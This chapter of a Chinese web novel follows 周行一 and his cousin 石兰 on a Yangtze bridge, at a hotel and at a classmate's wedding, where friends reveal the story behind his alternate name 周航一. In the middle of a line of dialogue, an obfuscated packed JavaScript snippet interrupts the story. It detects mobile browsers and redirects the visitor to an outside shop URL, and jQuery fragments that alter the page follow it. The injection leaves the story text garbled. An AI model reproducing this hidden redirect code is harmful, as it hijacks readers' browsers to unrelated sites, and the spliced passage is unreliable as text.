在外县随便找了一家酒店安顿妥当后,周行一瞧着时间尚早,便跟妹妹在县城里找了家餐馆。简单地对付了一顿后,两人在县城里到处乱窜,想着买点什么,总不能真的空手回家吧。
逛着逛着不知怎么地他们竟来到了长江大桥的起点。抬头看向对岸,只见桥上满是亮起刹车灯的车辆,一辆挨着一辆,仿佛一条望不到头的长龙。车里坐着的,皆是归心似箭期盼着早日到家的人们。
周行一转头看向妹妹,只见她轻抿着嘴唇,眼神中似有期待,仿佛在等待着他做出决定。相处多时,他深知石兰并非主动之人,她鲜少提出要求,总是默默跟随着他的指引,无论前路对错,都坚定不移。“天还早,咱们去桥上走走吧。”周行一轻声提议。
石兰轻轻点头,算是同意了。踏上这座连接江水两岸的桥梁才发现人行道颇为狭窄,仅容得下两人并肩而行,再多一分空间都没有。倘若对面有人走来,还得侧身避让。
不过好在此时正值寒冷时节,根本就没有人来桥上走路。天空阴沉沉的,一副雨马上就要落下却迟迟不愿离开天上的云朵地感觉,挠得人心里直痒痒,手里随时带着的雨伞整个冬天也打开不了几次。
恐怕在这个冷得人直跺脚的时候,也只有他们这俩神人才有这般闲情逸致,在这寒冷的天气里徒步来到桥上欣赏风景。
沿着江面从上游吹来的冷风,如刀割般刺痛着他们的肌肤,冻得他们的手几乎失去了知觉,只得时不时地将手揣进衣兜缓和一下。走到桥中央时,前后已不见行人的踪影,大桥上除了他们就只有那密密麻麻、拥堵不堪的车辆大军。
此时,一艘货船从上游缓缓驶来,上面堆满了集装箱。两人倚靠在栏杆上,静静地看着这艘船从远处一点点靠近,又一点点地从他们脚下消失。许久之后,周行一才如梦初醒般喃喃说道:“吃水这么浅,看来上面的货柜都是空的。”
他们又听见下游方向传来一声船笛声,隔了一小会又响了一下,这次明显声音大了一些,显然船正在逆着水流往上游行驶。
石兰依旧怔怔地望着脚下的江面,思绪仿佛已飘向远方。或许再隔一会儿那只不知模样的船就会从那里驶出吧。然而,她等了许久,那艘想象中的船却始终未曾出现。再过两天便是除夕了,路上的旅人或许都已回到了温暖的家中。“哥,我想家了,可我连家在哪里都不知道。”石兰轻声说道,语气中满是惆怅与迷茫。
周行一一时不知该如何安慰她,只能将手搭在她的肩膀上,试图用自己那即将冻僵的手中尚存的一丝温度,去温暖她那颗冰冷的心。“明年回去高考的时候,咱们去问问以前的地方在哪里,到时候再去找,好不好?”他轻声说道。
石兰心中都无语死了,这个哥哥怎么如此笨呢,话都说的这么明白了,还是不懂自己的心思。
但,这不正是自己一直默默喜欢的人吗?想到这里,她心中的不满顿时消散,那就暂时原谅他吧,仅此一次。她默默地将头靠在他的肩膀上,心中暗自想着,这或许是这半年来自己离他最近的时候了。想到此处,她的嘴角不自觉地微微上扬,静静地感受着从他肩膀传来的力量,此刻,她多么希望时间能永远停留在这一刻。
然而,周行一却突然感觉鼻子一阵发痒,越来越难以忍受。最终,他不自觉地闭上眼睛,打出了一个响亮的喷嚏。这喷嚏声之大,连他自己都不禁感叹,这是几年来打得最畅快的一个喷嚏,堵塞的鼻孔瞬间清亮许多。
随着他身体的剧烈抖动,石兰心中刚刚涌起的美好感觉瞬间消失得无影无踪。她幽怨地抬头看着面前这个无趣的男人,却又不敢责怪他,毕竟是陪自己来这桥上被冷风吹的。“哥,你感冒了!咱们快回去吧。”她焦急地说道。
就在两人转身准备往回走的那一刻,在他们视线的角落里,一艘船从桥底下突然窜出,逆着水流向着远方疾驰而去。可惜,他们已经看不到了。他们等了那么久都没等到,却在转身的瞬间出现了。
细细想来,这又何尝不是大多数人的人生呢?迟来的风景,还有什么意义呢?一切都已经没有意义了,再美丽的风景,对于擦肩而过的人来说,也都失去了它存在的意义。
回酒店的路上,周行一跟石兰说起了后面几天的安排:“明天哥哥有个同学结婚,我带你去凑个热闹,蹭顿饭。后天就是二十九了,今年又没有三十,所以后天咱们就回周家湾过年。后面的事……到时候再看吧。”
不知不觉间,他们已回到酒店门口。石兰停下脚步,看着眼前的哥哥,轻声叮嘱道:“好吧,都听你的。哥,你开车慢点,明天早点来接我。”她注视着周行一上了车,看着车子消失在街角,心中的疑问再也压抑不住,便飞奔到前台。
她急切地向前台的大堂经理问道:“为什么我跟我男朋友登记的时候,你直接问今年开多少天,好像跟他很熟似的?”
大堂经理被她问得一头雾水,直到她掏出房卡,又看了看电脑屏幕上的房间登记信息,才恍然大悟。他解释道:“你男朋友这几年过年都住我们酒店,有三年了吧。就今年住的时间最短,只有七八天,前面几年都是大半个月起步。去年他还带着个比你年纪大一点的女孩子一起住,大概年二十八二十九左右那个女孩子就没来过了。没想到今年又换了一个,还越换越年轻了。”
石兰继续追问:“那个女的叫什么?”
大堂经理这才意识到自己说漏了嘴,哪有当着客户现女友说他前女友的,急忙说道:“这我哪知道啊,都过去两年了,每天来来往往那么多人,我哪还有印象。再说了,那是不是他女朋友我都不确定,我只是猜测而已。”石兰竭力掩饰着内心的喜悦,如果真如经理所说,那詹星姐说的就八九不离十了。她衣服我知道了你们退下吧的表情冷冷地说道:“好吧,我知道了,等他回来我再亲自问他。”说完,她便离开大堂,准备回房间。
第二天天还未亮,石兰便已醒来。她在房间里来回踱步,焦急地等待着哥哥来接她。然而,直到酒店外面的街道上人群渐渐拥挤起来,房门依旧没有传来熟悉的敲门声。难道是路上堵车了?可昨天哥哥还念叨着一定会早点动身,不然经过大桥会堵很久,进不了城。或者是他昨天睡得太沉了?又或者是路上发生了什么事?她不敢再往下想,生怕这些不好的事情真的发生了。她无法承受这样的结果。此刻,她唯一能做的,就是打开电视机,将音量调到最大,用那嘈杂的声音来掩盖自己即将夺眶而出的泪水。
她站在窗口,望着外面来来往往的车辆和行人,心中无比期盼那辆熟悉的车能出现在视线中。电视里播放的是什么节目,她全然不知。她只知道,当那辆六零七公交车第三次出现在眼前时,她听到了敲门声。她看向电视,里面正播放着言情电视剧,画面中的人物正情意绵绵。敲门声再次响起,而屏幕上的画面依旧静止不动。她终于确定,那声音来自离自己只有几米远的房门。
她迫不及待地奔向房门,打开门,那张熟悉的脸如她期盼的那样出现在眼前。这一次,她没有像以往那样哭哭啼啼地扑进他的怀里,因为她清楚地知道,那样的自己只会被他当作真正的妹妹疼爱,永远都没有机会。
她平静地问道:“哥,你怎么才来,我还以为你把我丢在这里了呢。”
“哪能呢,晚上有点事耽误了,来的时候又堵车了。”周行一知道,这种事情越解释越乱,便简单地说了两句,然后走进房间。他从口袋里掏出一个盒子,小心翼翼地从中取出一条地藏王菩萨吊坠,说道:“本来国庆节的时候就想给你买一个了,可你在学校不能戴这种东西,就一直没买。这是早上专门去南山那边的寺庙求来的。”
石兰看着眼前的玉石吊坠,虽然不知道这是什么菩萨,但想着这是哥哥的一片心意,便没有拒绝。“哥,我没戴过,你帮我戴上吧。”她说道。
周行一将盒子放在沙发上,转过身面对她,只见她的脸红扑扑的,便打趣道:“还脸红啊?”
石兰没有作声,任由他的双手捻着吊坠绳在自己的后颈处交错。片刻之后,她感到脖颈处有异物摩擦,随后便看见他把手缩回,身体往后退了一步。她低头看着这份礼物,拿起仔细端详着,问道:“哥,这是什么菩萨?我怎么没见过。”
“我买的时候本来打算买弥勒的,随口说了句你是七月十五出生的,导购员说那最好买地藏王的,所以我就买了这个。”看着石兰认真的模样,周行一觉得今早几个小时的辛苦都值了。这时,他忽然瞥见电视机右上角显示的时间,已经十点半了。“行了,咱们走吧,再晚就真来不及了。”他说道。
听到他的话,石兰才想起今天还有重要的事情要办,连忙将吊坠塞进衣服里,跟着周行一一起下楼。
还好,此时已过十点半,该入城的人大多已经进城,该出城回乡下的人也大多一早便出发了。以往拥堵不堪的大桥,此刻已不见昨日的烦躁景象。他们顺利通过大桥,一路经过关溪、南桥、东桥,赶在十一点半到达了北桥。
婚礼在北桥镇上的一家酒楼内举行,新郎是周行一的初中同学。两人到达时,第一轮流水席的外围已经坐满了人,挂礼金的地方也围满了人。于是,周行一领着石兰穿过拥挤的人群,往里面走去,试图在里面找到两个空位,再去挂礼金。
石兰看见靠近角落的一张宴桌有人向他们招手,心想应该是哥哥的朋友。她拉住周行一的衣角,说道:“哥,那边有人叫你呢,而且我看那里刚好还有两个空位。”
周行一自然也看到了,但他不太想去,因为招手的人旁边还坐着一个人。他试图在周围寻找座位,可到处都是想坐第一轮吃完就走的人,哪有那么多空位等着他们呢?
最终,他还是只能硬着头皮走了过去。
石兰看见招手的人看到他们走来,将自己右边的两个空凳子往外移了移,笑着说道:“叫了你半天,现在才听到?你周航一不是耳朵最灵的吗?”
石兰心中一震,因为她知道,一般朋友和同事都叫哥哥周行一,毕竟“周行一”这三个字,常人看到都会联想到“知行合一”。就连她也是有一次周行一跟奶奶通电话开着免提时,才知道哥哥名字的正确念法。在此之前,她一直奇怪,为什么会取一个读起来有些女性化的名字。当然,她从未叫过他的名字,一直都是“哥”“哥哥”地叫着。
她看见周行一又将两个凳子往外移了移,自己坐在靠近那个男人左边的凳子上,她便顺势坐在右边。她看了看这一桌子的人,除了她和周行一,还有八个人。
石兰留意到,自己右侧坐着一位二十多岁的女子,化着淡雅的妆容,自她落座之后便一直低头专注地看着手机。再往右同样是个年轻女孩。而这位女孩旁边是一对父子,儿子正全神贯注地打着游戏,低着头横握着手机,手指在屏幕上飞速点击,嘴里还不时冒出几句脏话,显然是在骂游戏里的队友。父子旁边是两位四十多岁的女人,她们中间有个小男孩,正独自摆弄着手中的玩具。
她听到哥哥坐下后,对着打招呼的人说道:“袁景成,你特意留这两个位置,是等着我给你端菜呢?”
接着,她又听见那个叫袁景成的人回应:“这种好事肯定得留给你呀,你说是不是,文敏?”
“啊?”她听到右边的女孩轻轻应了一声,似乎没听清对方说什么,只是下意识地对自己名字的呼唤做出了反应。
“我说让他端菜。”袁景成指着周行一说道。她看到叫文敏的女孩斜睨了哥哥一眼,然后冷漠地说:“周航一不是大老板嘛,都开着奔驰了,哪能屈尊当服务员。”说完便又低头看手机去了。
短短一会儿,她就听到有两个人叫哥哥周航一,看来哥哥以前的朋友和同学都知道他这个名字。但很快,她就感觉脸有些发烫,因为她听到更右边的女人问道:“航一?周行一,你什么时候改名字了?”
随后,她听见哥哥回答:“早就改了,我都记不清什么时候改的。”接着,哥哥问旁边的袁景成随礼随了多少,然后便起身出去随礼了。
哥哥走后,袁景成问她:“你和周航一什么关系?”
她想着哥哥回来后袁景成肯定会向哥哥求证,便老实回答:“我是他妹妹,石兰。石头的石,兰花的兰。”自我介绍时,她用余光明显感觉到身旁的文敏抬起头正盯着自己。
袁景成自然不相信她是周航一的妹妹,说道:“他妹妹四岁时就溺水死了,过了两年才有了另一个妹妹,我前几天回西桥还见过。我和他一个村的,什么都清楚,你这冒充得也太自信了吧。老实说,是不是他女朋友?”
她只好简单解释,希望赶紧结束这个话题:“不是,我真的是我哥哥的妹妹,不过是堂妹罢了。”
显然,袁景成知道的比她预想的多:“那就更不可能了,他叔叔的两个孩子我也见过,你到底是哪来的?快交代。”
此刻,她只想结束这场如同审问般的对话,于是大方承认:“好吧,我是。”突然,她想起什么,顺着问道:“你们怎么叫他周航一呢?我看他身份证上是行一,平时大家都叫他行一。”
她看到袁景成看向旁边,自己也看向文敏。不知何时,文敏已收起手机,正盯着说话的两人。只听文敏说:“看我干嘛?我第一次见他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231293|197623||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他就说自己叫周航一,我就一直这么叫了。”
紧接着,文敏旁边的女孩说:“我怎么一直都听大家叫他周行一,那时我们还笑他取了个女孩名呢。你叫他周航一,我怎么都不知道?”
左边的女孩被三人盯着,淡淡地解释:“我干嘛要叫他名字,我和他又不熟。难道我还得天天在你面前念叨他名字吗?发什么神经。”是啊,不熟就不熟,何必纠结名字。就在她以为话题要结束时,袁景成开口了:“你哥以前叫行一。小学时,家里爷爷奶奶要去地里干活,他早上上学前跟妹妹说放学回来去河边捉鱼,结果放学在外面玩忘了,回去晚了。等他到家,才知道妹妹去河边找他,不小心掉进河里淹死了。之后他很久都不说话,过了好久才说自己没做到知行合一,不配叫周行一,可自己又改不了名字,就让我们叫他周航一。不过大多数人看到他名字第一反应还是叫行一,后来他也懒得解释,有人叫他周行一,他也就接受了。”
听着袁景成如讲故事般的讲述,石兰心如刀绞。原来这就是哥哥对自己这么好的原因吗?自己只是他失去妹妹后的替代品,是他弥补过错、转移爱的载体吗?她无法接受,但这一切又真实存在。她不敢再想下去,收起思绪,平静地说:“原来是这样啊,我昨天就奇怪他妹妹看着才十二三岁,可本地其他家的兄弟姐妹一般都差五六岁,我还想问呢,结果还没问就被赶出来了。”
袁景成听她被赶出来,忍不住笑道:“你也被赶出来了?去年他也带回来一个,还在读大三,同样被赶出来了。后来你哥带她在外县宾馆住了好几天,听说直到过完年你哥都没回西桥的家。”
她当然知道那个被带回家的人是韩立春,但还是装作好奇地问:“你怎么知道得这么清楚?”
“你哥前年买了辆E300,二十六那天开回周家湾时我看见了,我让他开车带我兜风。我问他怎么今天才回来,他说被赶出来了。我只知道你哥叫她立春,姓什么不清楚。她和你差不多高,我都没和她搭上话,感觉她很冷淡。你哥叫她一句她就答一句,不叫就不说话。”
不知不觉中,她不自觉地代入角色,愤愤不平地说:“看来也不怎么样嘛,平时掩饰得挺好,我还以为他没谈过恋爱呢,看来是我太单纯了。”她刚说完,桌上的人都笑了,她顿时尴尬至极。这时,她听到哥哥的声音从背后传来:“你们在笑什么?”
袁景成回答:“没什么,说你怎么去了这么久,还以为你把她丢这儿了。”
周行一拉开凳子坐下,眼睛不自觉地往右看,正好对上文敏的目光,瞬间他便慌忙躲开。他觉得文敏看自己的眼神很奇怪,说不出是什么感觉,为避免尴尬,他接着袁景成的话题说:“随礼的人太多,大家都几百几百地送,我只随两百有点拿不出手,就等他们挂得差不多了才去。”
紧接着,右边一个不知名的女生说:“周老板学葛朗台呢,财大气粗才随两百?我们都随两百,你随两百就算了,还带家属。”
“啊?家属?这是我妹妹,别乱说。”他严肃地纠正同学的说法。他向来做事认真,有些玩笑能开,有些事即便以玩笑的方式也不行,何况文敏还在旁边,他不知道文敏会怎么想。
接着,那个初中女同学指着石兰说:“什么呀,她自己都承认了。不信你问她们俩,或者问你女朋友。”
周行一难以置信地看着妹妹,从妹妹低头沉默的样子,他不得不接受现实,妹妹确实说自己是他女朋友。他一字一顿地对石兰说:“这次就算了,以后不准再开这种玩笑。”
石兰点点头,她能听到哥哥说话时浓重的鼻息声。她知道哥哥虽然对自己很好,从不生气,但忍耐是有限度的,一次次试探哥哥底线很危险,说不定哪次就越界了,那时可就麻烦了
袁景成了解周行一的性格,见他这样,选择相信他:“还真是你妹妹啊?表妹?”
周行一本来不想解释,但文敏在旁边,他觉得还是有必要说明:“堂妹,她跟的奶奶姓,所以她现在姓石。”说这话时,他装作不经意地回头看石兰,借着余光看到文敏紧绷的神情缓和了不少,眼神也不再冷漠,他心里的石头终于落了地。
他听到袁景成对妹妹说:“妹妹冒充女朋友,你不怕你哥回家打你呀?”
又听到妹妹说:“我不怕,我哥最疼我了,从来不冲我发脾气,他最温柔了。”他能感觉到妹妹说这话时在盯着自己,他知道这是妹妹确认自己是否消气、原谅她过错的方式,半年来,每次妹妹犯错都这样,而自己一次次无所谓的态度,让她今天如此大胆,当众编造自己是他女朋友的事。但他真的能狠心打她、骂她吗?他不敢想。
就在周行一思绪万千时,又听到袁景成说话。只见他指着文敏和张艾莉说:“你哥脾气还好啊?你问她们俩,看她们怎么说。”
她看到她们俩笑了笑,接着听到袁景成继续说:“你哥二年级就敢跟班主任吵架,我记得他指着贾光头的鼻子骂他活该生不出儿子。”
虽然知道哥哥脾气不好,但小时候就这样还是让她震惊。张艾莉向周行一求证:“还有这回事?”
“哪有那么严重,我就记得有节课,一个女同学铅笔丢了,当时正好要抄写课文。贾光头看到她不动笔,就让她在班上挨个找人借。那时候大家家里穷,每个人一般就一支铅笔,用完才买新的,哪有多余的借给她。我看她低声下气朝每个人借笔的样子可怜,就把自己的铅笔给她了,然后看她哭了,吓得我赶紧就跑回自己的座位去了。”周行一回忆起往事,一脸骄傲,“然后光头就恼了,骂我穷还装,他知道我就一支笔,问我抄完没,抄完给他检查。我把本子扔到他面前让他自己捡,他说我不尊重老师要告诉家长,我就骂他为了生儿子从外县跑到内县当上门女婿,生了三个还是生不出,在家大气都不敢出,只敢在学校欺负女同学,让他去我家找我爷爷告状。”
石兰看着哥哥讲述往事时淡然的神情,不知道他经历了什么,才变得如今这般温柔又坚定:“哥,你二年级就敢顶撞老师,不怕吗?真厉害。”
她又听到袁景成说:“怕什么,贾光头是隔壁上元的,属于外县,在自己村结婚生了两个没儿子就离婚,来周家湾当上门女婿,又生了三个被罚了几千还想生。你哥爷爷那时是生产队队长,经常骂他。他哪敢找你哥麻烦,第二天就当没看见你哥,啥事没有。”
袁景成说完,一桌子人都笑了,只有身旁的文敏没笑,而且眼睛里似乎进了沙子。不过这已经不重要了,饿了一上午的她,看到服务员端上开席的八个凉菜,宴席即将开始,她顾不上追问原因,只想先填饱肚子。